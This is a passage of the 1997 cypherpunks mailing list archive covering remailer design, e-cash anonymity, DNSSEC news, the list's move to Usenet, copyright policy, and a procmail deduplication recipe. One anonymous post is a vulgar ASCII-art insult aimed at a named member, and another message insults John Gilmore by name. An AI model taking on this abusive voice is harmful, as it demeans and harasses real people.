'rings' of remailers can >> be interconnected by simply sending output to more than one site. Might even >> be a good stability rule, "Never have a remailer send to more than 1 machine >> in its 'own' ring". I see no limit other than resources that would limit the >> number of rings an individual remailer might be in. > >A very good point. > ... Something to consider. If anyone of the distributed remailers is removed from a ring, the messages that need to travel across that ring can no longer do that. This makes the loop only as strong as its most at risk remailer. The star approach has already been seen in action, the trouble here is a single choke point. Full interconnectability is only feasible in a small net, but I would advise this at first. Check for the x-loop to see if another one got it first. If none, add one and send it on down the line. A disjointed mess, if the remailers are given first access to the list, could work quite well as long as that x-loop remained to point to who sent the message, and the x-loop contained an unalterable message number, and the remailers could eliminate duplications, probably based on message number. This should work as the net grows and would only be as weak as the strongest two connected remailers. Sounds like the internet. From jimbell at pacifier.com Wed Feb 12 22:29:43 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 12 Feb 1997 22:29:43 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702130629.WAA04666@toad.com> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: >Having said this, the flaw remains that "junk mail" is "free" to the >sender. This is a flaw in the ontology of e-mail, and needs to be fixed. >Digital postage is one approach. I decided long ago (okay, well, many months ago) that the "solution" is to invent a mechanism to allow spammers/advertisers to include a small amount of ecash as a gift with every spam. I figure that if USnail junk-mailers are willing to pay $0.32 for postage and probably $0.50 for production, printing, and labelling costs, all for no guarantees of results, they should even more happy to pay, say, 10 cents to each recipient. At that rate, an average person would probably receive enough "spam" to pay for his Internet account, quite analogous to the way advertiser-supported TV is presented to the public for no explicit charge. Jim Bell jimbell at pacifier.com From dthorn at gte.net Wed Feb 12 22:39:16 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 22:39:16 -0800 (PST) Subject: [STATS] Cypherpunks-unedited subscriptions In-Reply-To: <32D30EFB.5F8@gte.net> Message-ID: <3302B6C6.2A25@gte.net> Total subscribers for cypherpunks-unedited: ------------------------------------------- Tue 14 Jan: 13 Wed 15 Jan: 15 Thu 16 Jan: 13 Fri 17 Jan: 15 Tue 21 Jan: 28 Fri 24 Jan: 30 Mon 27 Jan: 34 Tue 04 Feb: 43 Tue 11 Feb: 62 When Gilmore made his pronouncement that "the subscribers have spoken", only a minority of the "real" subscribers were on the -unedited list. Since the above figures don't include Sandfort's entry, the jump to 62 as of yesterday (despite the discontinuance) easily represents the majority of the active (real) subscribers. Another blood stain on Gilmore's shroud, as it were. From dthorn at gte.net Wed Feb 12 22:55:55 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 22:55:55 -0800 (PST) Subject: [STATS] Cypherpunks-unedited subscriptions Message-ID: <199702130655.WAA06378@toad.com> Total subscribers for cypherpunks-unedited: ------------------------------------------- Tue 14 Jan: 13 Wed 15 Jan: 15 Thu 16 Jan: 13 Fri 17 Jan: 15 Tue 21 Jan: 28 Fri 24 Jan: 30 Mon 27 Jan: 34 Tue 04 Feb: 43 Tue 11 Feb: 62 When Gilmore made his pronouncement that "the subscribers have spoken", only a minority of the "real" subscribers were on the -unedited list. Since the above figures don't include Sandfort's entry, the jump to 62 as of yesterday (despite the discontinuance) easily represents the majority of the active (real) subscribers. Another blood stain on Gilmore's shroud, as it were. From dthorn at gte.net Wed Feb 12 22:55:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 22:55:56 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702130655.WAA06383@toad.com> Igor Chudov @ home wrote: > Dr.Dimitri Vulis KOTM wrote: > > "Timothy C. May" writes: > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > > >If the people decide for creation of a new USENET newsgroup, > > > >we need to think very hard about actually moving it to a different > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > It is too late to stop alt.cypherpunks, but if I had to make a > prediction again, I would predict that soon posters will BEG to help > them create comp.*.cypherpunks, because of spam and alt.flamage. I would lean toward sci.crypt.cypherpunks myself. Are there any implications in the use of that name as to restrictions, etc.? From ichudov at algebra.com Wed Feb 12 23:07:07 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 23:07:07 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <3302B2E9.20E3@gte.net> Message-ID: <199702130629.AAA17824@manifold.algebra.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > Dr.Dimitri Vulis KOTM wrote: > > > "Timothy C. May" writes: > > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > > > >If the people decide for creation of a new USENET newsgroup, > > > > >we need to think very hard about actually moving it to a different > > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > It is too late to stop alt.cypherpunks, but if I had to make a > > prediction again, I would predict that soon posters will BEG to help > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > I would lean toward sci.crypt.cypherpunks myself. Are there any > implications in the use of that name as to restrictions, etc.? > Not really. All you have to do is to go through a formal newsgroup creation process, post a RFD, second RFD, a CFV, and supposedly impartial votetakers will record the votes. You must get > 100 votes YES, and the number of YES votes should be more than twice (thrice?) the number of NO votes. - Igor. From hal at rain.org Wed Feb 12 23:07:29 1997 From: hal at rain.org (Hal Finney) Date: Wed, 12 Feb 1997 23:07:29 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130628.WAA06217@crypt.hfinney.com> From: Sean Roach > Here is another idea. > The merchant and customer agree on a price, with the merchant knowing that > the "bank" will take a cut for their services. > The merchant and customer both LOG IN to the bank seperately, each type in > their agreed upon price and cut & paste in the services rendered > information. If they match, the bank makes the necessary transaction > between the accounts, e-cash stash, etc. This provides no anonymity with respect to the bank, right? The bank knows who is paying whom. That's not very valuable IMO. The bank is still a centralized place where all this transaction information exists, a fat target for privacy opponents. I'd say that anonymity to the bank is more important than anonymity to the merchant for this reason. So I think you're going at this backwards. > Another idea that has been festering. If we could get a CPA involved in > this forum, I would be willing to have h[im/er] sign my key, (which is > seldom used, mostly because this is the only place I use e-mail), for that > reasonable fee that CPA's can charge. I know that it is not a standard, or > even legally recognized, post for CPA's, but I think that enough people > would trust them. The big question with identity certificates is what procedures were followed in verifying the identity when the cert was issued. If the CPA publishes some standard method, and his reputation is strong enough that people will trust him to follow it, then it might well be worth money to you to have him sign it. This is the traditional role of the Certification Authority. > This would take care of some of the "newly minted" key problems. Since > getting someone who is trusted to sign your key is a recognized method of > getting people to believe you are who you say you are. It depends on the circumstances where you expect to use your key. Within a small to medium circle of associates there may be some group members who sign keys and are trusted by other members of the group. There is no particular reason for it to be difficult. If you want a signature which will be accepted by everyone in the U.S. you have a harder problem. Hal From das at sgi.com Wed Feb 12 23:07:55 1997 From: das at sgi.com (Anil Das) Date: Wed, 12 Feb 1997 23:07:55 -0800 (PST) Subject: Procmail during the transition, anyone? In-Reply-To: <5dudd2$82h@fido.asd.sgi.com> Message-ID: <3302C20F.2781@sgi.com> Michael Froomkin - U.Miami School of Law wrote: > > At various stages in the transition, we will be getting multiple copies of > the same messages as the are re- cross- whatever-posted to lists, > newsgroups and anything else handy. > > Anyone have a procmail script that will show me just ONE copy of messages, > even if the headers are not identical (e.g. one looped, another was > forwarded, etc.)? > # Remove duplicate messages :0 Wh: .msgid.lock | formail -D 8192 .msgid.cache It detects duplicates by Message-Id. -- Anil Das From nobody at wazoo.com Wed Feb 12 23:26:36 1997 From: nobody at wazoo.com (Anonymous) Date: Wed, 12 Feb 1997 23:26:36 -0800 (PST) Subject: X.500 Message-ID: <199702130726.AAA30748@earth.wazoo.com> Dinghy Villainous K>ocksucker< Of The Month's obsessive masturbation has lead to advanced degree of blindness and hairy palms. ,/ \, ((__,-"""-,__)) `--)~ ~(--` .-'( )`-, Dinghy Villainous K>ocksucker< Of The Month `~~`d\ /b`~~` | | (6___6) `---` From stewarts at ix.netcom.com Thu Feb 13 00:54:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 13 Feb 1997 00:54:06 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <3.0.1.32.19970213005151.005d0108@popd.ix.netcom.com> Now that cypherpunks is moving, to both a newsgroup and one or more mailing lists, there's still a need for cypherpunks-announce or something like it. So far it's carried 1-2 announcements per month. Should we create it as a mailing list, moderated or unmoderated, or as a newsgroup? (It's been a moderated mailing list, run by John and Hugh.) Perhaps the right implementation is a mail exploder going to several moderators in parallel, any of whom can forward to the list, just to cut down delays? # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From epinsard at supelec-rennes.fr Thu Feb 13 01:04:06 1997 From: epinsard at supelec-rennes.fr (Eric.Pinsard) Date: Thu, 13 Feb 1997 01:04:06 -0800 (PST) Subject: key escrow & ttp Message-ID: Hello I am a student in an engineer school and i have to find where and who are third trusted party for key escrowing all over the world. If you know such organisation or someone who can help me in my quest, please mail me back , i am not in a list. best regards Eric Pinsard From stewarts at ix.netcom.com Thu Feb 13 01:21:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 13 Feb 1997 01:21:06 -0800 (PST) Subject: Security (Re: Encryption for DNS registration) Message-ID: <3.0.1.32.19970213005917.006610f0@popd.ix.netcom.com> Donald Eastlake posted this on the IAHC-discuss list. Cool stuff. >Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST) >From: "Donald E. Eastlake 3rd" >To: iahc-discuss at iahc.org >Subject: Security (Re: Encryption for DNS registration) > >People may want to note that yesterday (Feb 11th) the IESG approved the DNS >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards. The base DNS >security protocol was approved some time ago and is now out as RFC 2065. TIS >is working on a government funded implementation which will be in the public >domain (http://www.tis.com/docs/research/network/dns.html). Their current >Beta implementation of the base DNS security has been approved for export. I >believe there is an independent implementation effort underway at Microsoft. > >While this was primarily motived by wanting to be able to securely do dynamic >updates of the DNS in connection with DHCP, it is a general facility and >could be one element of securely implenmeting a shared TLD. You would, >however, still need a way of sending general authenticated messages. PGP >seems like an excellent candidate for this as it is the de-facto standard >available world wide. > >Donald [ quotes from previous messages deleted -- Bill ] >===================================================================== >Donald E. Eastlake 3rd +1 508-287-4877(tel) dee at cybercash.com > 318 Acton Street +1 508-371-7148(fax) dee at world.std.com >Carlisle, MA 01741 USA +1 703-620-4200(main office, Reston, VA) >http://www.cybercash.com http://www.eff.org/blueribbon.html > > > From gbroiles at netbox.com Thu Feb 13 02:08:16 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 02:08:16 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <3302E815.5E66@netbox.com> (Readers curious about Jim Choate's list ownership/acceptable use policies might take a look at .) Jim Choate wrote: > Please explain how making submissions de facto public domain censors > anyone? What the fuck is "de facto public domain"? It's public domain, or it's not. Your scheme imposes a cost (loss of intellectual property rights) against authors who would like to make themselves heard. It also prevents a certain class of messages (those messages whose status is "copyright claimed") from being distributed. Further, your suggestion that posters be required to include a "fair use header" is compelled speech. That's three flavors of "censorship" right there. I thought that the new list(s) were supposed to allow anyone to say anything they wanted. (Does "no fair use" count as a "fair use header"? It's not legally enforceable, but it seems like the easiest way to specify "minimum fair use required by law". If not, are you planning to moderate the list to make sure that people use only approved fair use headers? Hmm.) Even if the "copyright abandonment by implication" trick works (and I suspect it will not, given that an assignment or transfer of copyright must be in writing, 17 USC 204; and abandonment is essentially an assignment or transfer to the public domain), it will not apply to all text sent to the list. A person cannot abandon or assign something they do not have; so if someone sends a message to the list which contains text whose copyright is held by a third party, that copyright will still be valid. So what you've got is a list where you can't be sure that its contents are public domain, and a draconian rule requiring authors to give up their rights to what they've written. Do you imagine that all of the many-majordomo servers will implement your "public domain only" rule, or only yours? If the rule only applies to the ssz.com version, what's the point? If the rule is intended to apply to all servers, and servers aren't going to be allowed into the network without agreeing to implement it locally, um, tell me again about that "free speech" thing? Aren't you just taking advantage of your position as a person working on the many-majordomos project to impose your ideas about intellectual property on the rest of the list? Is such a strategy compatible with "free speech"? Also, how could a rule like this possibly be compatible with a Usenet gateway? There's no chance at all that you can expand a local rule on your system to all of Usenet through a gateway. And Declan McCullagh wrote: >I forward articles to cypherpunks that are copyrighted by my employers, or >magazines like Playboy and Wired for which I write freelance pieces. > >I like to think these articles have some value. I will not forward any of >them, nor would I be able to, if they magically became "public domain." Which are good points - also, don't forget that, from time to time, people have even posted code to the cpunks list, and many software authors like to retain copyright in their code so that they can insist on things like noncommercial distribtion or credit where the code is reused. If a work is truly "public domain", the author has no power to insist on those things. This proposed rule seems to limit postings to those which are perceived by their authors to be without commercial or reputational value. Is that a good idea? -- Greg Broiles | US crypto export control policy gbroiles at netbox.com | in a nutshell: http://www.io.com/~gbroiles | Export jobs, not crypto. From chefren at pi.net Thu Feb 13 05:31:14 1997 From: chefren at pi.net (chefren) Date: Thu, 13 Feb 1997 05:31:14 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut u Message-ID: <199702131330.OAA03668@mailhost.pi.net> On 11 Feb 97 at 3:54, John Gilmore wrote: > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: Hm... In the year 1513 or 1514 someone who could be an Honourable Member of this list (if one could be one...) wrote: > There is nothing more difficult to take in hand, more > perilous to conduct, or more uncertain in its success, > than to take the lead in the introduction of a new order > of things. Please stop at looking too much on how people scream about your new ideas and continue this list the way you like it!!! I think it's Your Machine and we have to respect your decision to pull the plug, nobody should blame you for that, but please listen a little to the 1000+ people who don't scream and are obviously happy with the list and respected your right to do the "sandy filter experiment". +++chefren From dlv at bwalk.dm.com Thu Feb 13 06:32:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 13 Feb 1997 06:32:25 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702122142.NAA06036@toad.com> Message-ID: (My apologies to all the peole I like whose e-mail I haven't answered yet) ichudov at algebra.com writes: > Dr.Dimitri Vulis KOTM wrote: > > "Timothy C. May" writes: > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > > >If the people decide for creation of a new USENET newsgroup, > > > >we need to think very hard about actually moving it to a different > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > > > > > >A comp.* or sci.* newsgroup, if created, has the following advantages > > > >over an alt.* newsgroup: > > > > > > > >1) There is usually less spam in sci.* or comp.* > > > >2) There are virtually no completely irrelevant flamewars > > > >3) The propagation will be a lot better > > > >4) More people will be able to read it because of the issue of providers > > > > not carrying alt.*. > > > > > > > >I see nothing that would make a sci.* or comp.* newsgroup worse than > > > >alt.* newsgroup. > > > > > > Sure, and this has come up in every past discussion of creating > > > "alt.cypherpunks." > > > > > > But the creation of alt.cypherpunks is _easy_, and needs little permissio > > > or support, whereas the creation of "soc.culture.cypherpunks" or whatever > > > takes work, requires a vote, blah blah blah. And so it never gets off the > > > ground. > > > > > > (Nor is it clear to me, and perhaps not to others, that it belongs in the > > > the various places Igor mentioned. Comp.org.cypherpunks probably is the > > > best fit, but then many would cite the "comp" part to try to insist that > > > only _computer_ topics be discussed. Likewise, the "soc" domain would ske > > > discussion...etc. "Alt" has the nice advantage of explicitly not be part > > > sci, or comp, or soc, or even talk.) > > > > > (I apologize to everyone whose e-mail has gone unanswered this week - I've > > had a bunch of other stuff to do, but I'll get to it eventually. Also, > > I posted > > the Anshel+Goldfield zeta function paten number - do check it out.) > > > > Random thoughts: > > > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of > > corprate news servers that don't carry alt.* (or even soc.*). Note that > > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) > > Another possibility is sci.crypto.cypherpunks. (True, people whose corporat > > newsservers don't carry soc.* and talk.* can use dejanews - provided their > > firewall lets them.) > > > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. > > It takes a vote. I'm willing to be one of the proponents and generally help > > with the process. (Both I and Igor have been co-proponents of major Usenet > > newsgroups - don't know about other people onthis list. :-) > > Not only it takes a vote. What is more important is what a vote gives: > a good discussion of the newsgroup and the formal RFD/RFD/CFV process > ensures that, on average, a good balance is found between various groups > of readers. > > I am not concerned as to what the name of the group will be, it is > not important. What is important is that it should be in a more or > less flame-free zone. I'm concerned about smart people stuck behind corporate firewalls and able to see comp.* and sci.*. Nearly every big Wall St firm is that way. Did I ever relate to you the story how I had to break through the firwall at GS to accomplish mywork? > It is too late to stop alt.cypherpunks, but if I had to make a > prediction again, I would predict that soon posters will BEG to help > them create comp.*.cypherpunks, because of spam and alt.flamage. Timmy has a valid point: the reason why a comp.* newsgroup might have less cross-posted and "off-topic" crap is because net.cops would be more likely to complain to posters' sysadmins. Having a charter state that cypherpunks have technical means to ignore traffic they don't like, and don't need anyone forging cancels or complaining to sysadmins or otherwise getting silenced, is a good idea. What's going to happen when (not if) someone posts something in alt.cypherpunks that Chris Lewis (spit) judges to be "spam" and forges a cancel? Or someone posts a binary and Richard "little dick" Depew forges a cancel? > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili > > list. I've been thinking of how to deal with crap, and with the obvious des > > by some people to delegate their decision what to read and what not to read > > to other people. > > It is alt.* and soc.* that has most crap, sci and comp are way better. There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to sysadmins of anyone posting to that newsgroup who's in a member of the "in" crowd". It may or may not cut down on the crap, but is it worth it? > > Most people don't have nocem-enabled newareaders yet... Which is where the > > network of cypherpunks majordomos Igor's been busy creating comes in very > > handy. > > > > It is a very good idea to let NoCeM issuers and filterers work > independently from list nodes. Yes - from the legal liability point of view (since it bothers the lying cocksucker Gilmore (spit, fart, belch) so much): suppose someone anonymously posts skipjack source code to alt.cypherpunks. Under the present systen, say, the arachelian asshole might decide not to forward it to his mailing list feaing the NSA. NoCeM's can separate the function of highlighting interesting articles from the function of forwarding these articles to subscribers who only want to see the highlighted articles. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From epinsard at supelec-rennes.fr Thu Feb 13 06:41:01 1997 From: epinsard at supelec-rennes.fr (Eric.Pinsard) Date: Thu, 13 Feb 1997 06:41:01 -0800 (PST) Subject: key escrow & ttp Message-ID: <199702131441.GAA01292@toad.com> Hello I am a student in an engineer school and i have to find where and who are third trusted party for key escrowing all over the world. If you know such organisation or someone who can help me in my quest, please mail me back , i am not in a list. best regards Eric Pinsard From das at sgi.com Thu Feb 13 06:41:04 1997 From: das at sgi.com (Anil Das) Date: Thu, 13 Feb 1997 06:41:04 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702131441.GAA01300@toad.com> Michael Froomkin - U.Miami School of Law wrote: > > At various stages in the transition, we will be getting multiple copies of > the same messages as the are re- cross- whatever-posted to lists, > newsgroups and anything else handy. > > Anyone have a procmail script that will show me just ONE copy of messages, > even if the headers are not identical (e.g. one looped, another was > forwarded, etc.)? > # Remove duplicate messages :0 Wh: .msgid.lock | formail -D 8192 .msgid.cache It detects duplicates by Message-Id. -- Anil Das From stewarts at ix.netcom.com Thu Feb 13 06:41:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 13 Feb 1997 06:41:07 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <199702131441.GAA01308@toad.com> Now that cypherpunks is moving, to both a newsgroup and one or more mailing lists, there's still a need for cypherpunks-announce or something like it. So far it's carried 1-2 announcements per month. Should we create it as a mailing list, moderated or unmoderated, or as a newsgroup? (It's been a moderated mailing list, run by John and Hugh.) Perhaps the right implementation is a mail exploder going to several moderators in parallel, any of whom can forward to the list, just to cut down delays? # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ichudov at algebra.com Thu Feb 13 06:41:13 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 06:41:13 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702131441.GAA01329@toad.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > Dr.Dimitri Vulis KOTM wrote: > > > "Timothy C. May" writes: > > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > > > >If the people decide for creation of a new USENET newsgroup, > > > > >we need to think very hard about actually moving it to a different > > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > It is too late to stop alt.cypherpunks, but if I had to make a > > prediction again, I would predict that soon posters will BEG to help > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > I would lean toward sci.crypt.cypherpunks myself. Are there any > implications in the use of that name as to restrictions, etc.? > Not really. All you have to do is to go through a formal newsgroup creation process, post a RFD, second RFD, a CFV, and supposedly impartial votetakers will record the votes. You must get > 100 votes YES, and the number of YES votes should be more than twice (thrice?) the number of NO votes. - Igor. From stewarts at ix.netcom.com Thu Feb 13 06:41:18 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 13 Feb 1997 06:41:18 -0800 (PST) Subject: Security (Re: Encryption for DNS registration) Message-ID: <199702131441.GAA01331@toad.com> Donald Eastlake posted this on the IAHC-discuss list. Cool stuff. >Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST) >From: "Donald E. Eastlake 3rd" >To: iahc-discuss at iahc.org >Subject: Security (Re: Encryption for DNS registration) > >People may want to note that yesterday (Feb 11th) the IESG approved the DNS >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards. The base DNS >security protocol was approved some time ago and is now out as RFC 2065. TIS >is working on a government funded implementation which will be in the public >domain (http://www.tis.com/docs/research/network/dns.html). Their current >Beta implementation of the base DNS security has been approved for export. I >believe there is an independent implementation effort underway at Microsoft. > >While this was primarily motived by wanting to be able to securely do dynamic >updates of the DNS in connection with DHCP, it is a general facility and >could be one element of securely implenmeting a shared TLD. You would, >however, still need a way of sending general authenticated messages. PGP >seems like an excellent candidate for this as it is the de-facto standard >available world wide. > >Donald [ quotes from previous messages deleted -- Bill ] >===================================================================== >Donald E. Eastlake 3rd +1 508-287-4877(tel) dee at cybercash.com > 318 Acton Street +1 508-371-7148(fax) dee at world.std.com >Carlisle, MA 01741 USA +1 703-620-4200(main office, Reston, VA) >http://www.cybercash.com http://www.eff.org/blueribbon.html > > > From gbroiles at netbox.com Thu Feb 13 06:41:20 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 06:41:20 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702131441.GAA01332@toad.com> (Readers curious about Jim Choate's list ownership/acceptable use policies might take a look at .) Jim Choate wrote: > Please explain how making submissions de facto public domain censors > anyone? What the fuck is "de facto public domain"? It's public domain, or it's not. Your scheme imposes a cost (loss of intellectual property rights) against authors who would like to make themselves heard. It also prevents a certain class of messages (those messages whose status is "copyright claimed") from being distributed. Further, your suggestion that posters be required to include a "fair use header" is compelled speech. That's three flavors of "censorship" right there. I thought that the new list(s) were supposed to allow anyone to say anything they wanted. (Does "no fair use" count as a "fair use header"? It's not legally enforceable, but it seems like the easiest way to specify "minimum fair use required by law". If not, are you planning to moderate the list to make sure that people use only approved fair use headers? Hmm.) Even if the "copyright abandonment by implication" trick works (and I suspect it will not, given that an assignment or transfer of copyright must be in writing, 17 USC 204; and abandonment is essentially an assignment or transfer to the public domain), it will not apply to all text sent to the list. A person cannot abandon or assign something they do not have; so if someone sends a message to the list which contains text whose copyright is held by a third party, that copyright will still be valid. So what you've got is a list where you can't be sure that its contents are public domain, and a draconian rule requiring authors to give up their rights to what they've written. Do you imagine that all of the many-majordomo servers will implement your "public domain only" rule, or only yours? If the rule only applies to the ssz.com version, what's the point? If the rule is intended to apply to all servers, and servers aren't going to be allowed into the network without agreeing to implement it locally, um, tell me again about that "free speech" thing? Aren't you just taking advantage of your position as a person working on the many-majordomos project to impose your ideas about intellectual property on the rest of the list? Is such a strategy compatible with "free speech"? Also, how could a rule like this possibly be compatible with a Usenet gateway? There's no chance at all that you can expand a local rule on your system to all of Usenet through a gateway. And Declan McCullagh wrote: >I forward articles to cypherpunks that are copyrighted by my employers, or >magazines like Playboy and Wired for which I write freelance pieces. > >I like to think these articles have some value. I will not forward any of >them, nor would I be able to, if they magically became "public domain." Which are good points - also, don't forget that, from time to time, people have even posted code to the cpunks list, and many software authors like to retain copyright in their code so that they can insist on things like noncommercial distribtion or credit where the code is reused. If a work is truly "public domain", the author has no power to insist on those things. This proposed rule seems to limit postings to those which are perceived by their authors to be without commercial or reputational value. Is that a good idea? -- Greg Broiles | US crypto export control policy gbroiles at netbox.com | in a nutshell: http://www.io.com/~gbroiles | Export jobs, not crypto. From hal at rain.org Thu Feb 13 06:43:00 1997 From: hal at rain.org (Hal Finney) Date: Thu, 13 Feb 1997 06:43:00 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702131443.GAA01435@toad.com> From: Sean Roach > Here is another idea. > The merchant and customer agree on a price, with the merchant knowing that > the "bank" will take a cut for their services. > The merchant and customer both LOG IN to the bank seperately, each type in > their agreed upon price and cut & paste in the services rendered > information. If they match, the bank makes the necessary transaction > between the accounts, e-cash stash, etc. This provides no anonymity with respect to the bank, right? The bank knows who is paying whom. That's not very valuable IMO. The bank is still a centralized place where all this transaction information exists, a fat target for privacy opponents. I'd say that anonymity to the bank is more important than anonymity to the merchant for this reason. So I think you're going at this backwards. > Another idea that has been festering. If we could get a CPA involved in > this forum, I would be willing to have h[im/er] sign my key, (which is > seldom used, mostly because this is the only place I use e-mail), for that > reasonable fee that CPA's can charge. I know that it is not a standard, or > even legally recognized, post for CPA's, but I think that enough people > would trust them. The big question with identity certificates is what procedures were followed in verifying the identity when the cert was issued. If the CPA publishes some standard method, and his reputation is strong enough that people will trust him to follow it, then it might well be worth money to you to have him sign it. This is the traditional role of the Certification Authority. > This would take care of some of the "newly minted" key problems. Since > getting someone who is trusted to sign your key is a recognized method of > getting people to believe you are who you say you are. It depends on the circumstances where you expect to use your key. Within a small to medium circle of associates there may be some group members who sign keys and are trusted by other members of the group. There is no particular reason for it to be difficult. If you want a signature which will be accepted by everyone in the U.S. you have a harder problem. Hal From ca3sal at isis.sunderland.ac.uk Thu Feb 13 06:43:05 1997 From: ca3sal at isis.sunderland.ac.uk (Stephen.George.Allport) Date: Thu, 13 Feb 1997 06:43:05 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702131442.OAA17335@cis525.cis.sund.ac.uk> Strassmann wrote: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. As the UK gets a lot of desktop PC software from the US, ie MS & Lotus we unfouantly have to live with the 40-bit limit. What the RSA Chalange and Ian Goldberg have achived is a couple of aritcales in the broad sheet papers http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622& P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html (ouch) and http://go2.guardian.co.uk/archive.html The competion has shown to the general populs and not just "experts" what a crap deal were getting. Three and half hours gets people thinking. Ste From mhw at wittsend.com Thu Feb 13 06:53:25 1997 From: mhw at wittsend.com (Michael H. Warfield) Date: Thu, 13 Feb 1997 06:53:25 -0800 (PST) Subject: How to make majordomo request confirmations of subscriptions? In-Reply-To: <199702130511.VAA29241@toad.com> Message-ID: ichudov at algebra.com enscribed thusly: > Hi All, > I would like to set up my majordomo to request subscription > confirmations from users, by sending them a cookie. Looking at the > majordomo config files, I have not found such option. Majordomo 1.94 and above... subscribe_policy = open+confirm Last I looked, majordomo does not have subscription expirations or periodic confirmations. A couple of months ago someone else on a large mailing list I help run suggested a package that would periodically mail a bounce probe. The probe would have explicit instructions to do NOTHING if you wanted to remain on the list, just ignore the message. If the message came back, due to an E-Mail bounce, vacation program, or someone who decided they didn't want to remain on the list after all, you toasted them off. Sort of an inverse confirmation message. I lost the message about the package before I could find it. It sounds like a great compliment to majordomo. Maybe should be another feature for majordomo? Anyone who has heard of this add-on, let me know. I'm still looking for it. > Ideally I would like to have a system that a) requires the > new users confirm new subscriptions and b) once in a while > as users to confirm their existing subscriptions. The instruction which go back with the job results and the confirmation need to be beefed up. I've had a lot of subscribers get "confused" when their STUPID windows mailer breaks their "auth" message into two lines and majordomo refuses to recognize it. Forwarding the confirmation message back or "replying" to it tend to screw up big time, so I modified the message in my version to instruct users to "create a new message with this line as the only line in the body". It's cut down on the screwed up subscriptions immensely. Majordomo also needs to be enhanced a bit to flush out bits and pieces of floatsam in the E-Mail address that are not valid E-Mail addresses... Example: "Michael H. Warfield" would result in messages going back to Michael, H., and Warfield, as well as mhw at wittsend.com. I'm planning on cleaning out any whitespace separated tokens which do not contain an embedded "@" followed by a least one "." and ending with an alpha or a ".". That's on my to-do list for this week or next... Along with upgrading to 1.94.1. > Is there any way to do it? > Thank you. > - Igor. > -- Michael H. Warfield | (770) 985-6132 | mhw at WittsEnd.com (The Mad Wizard) 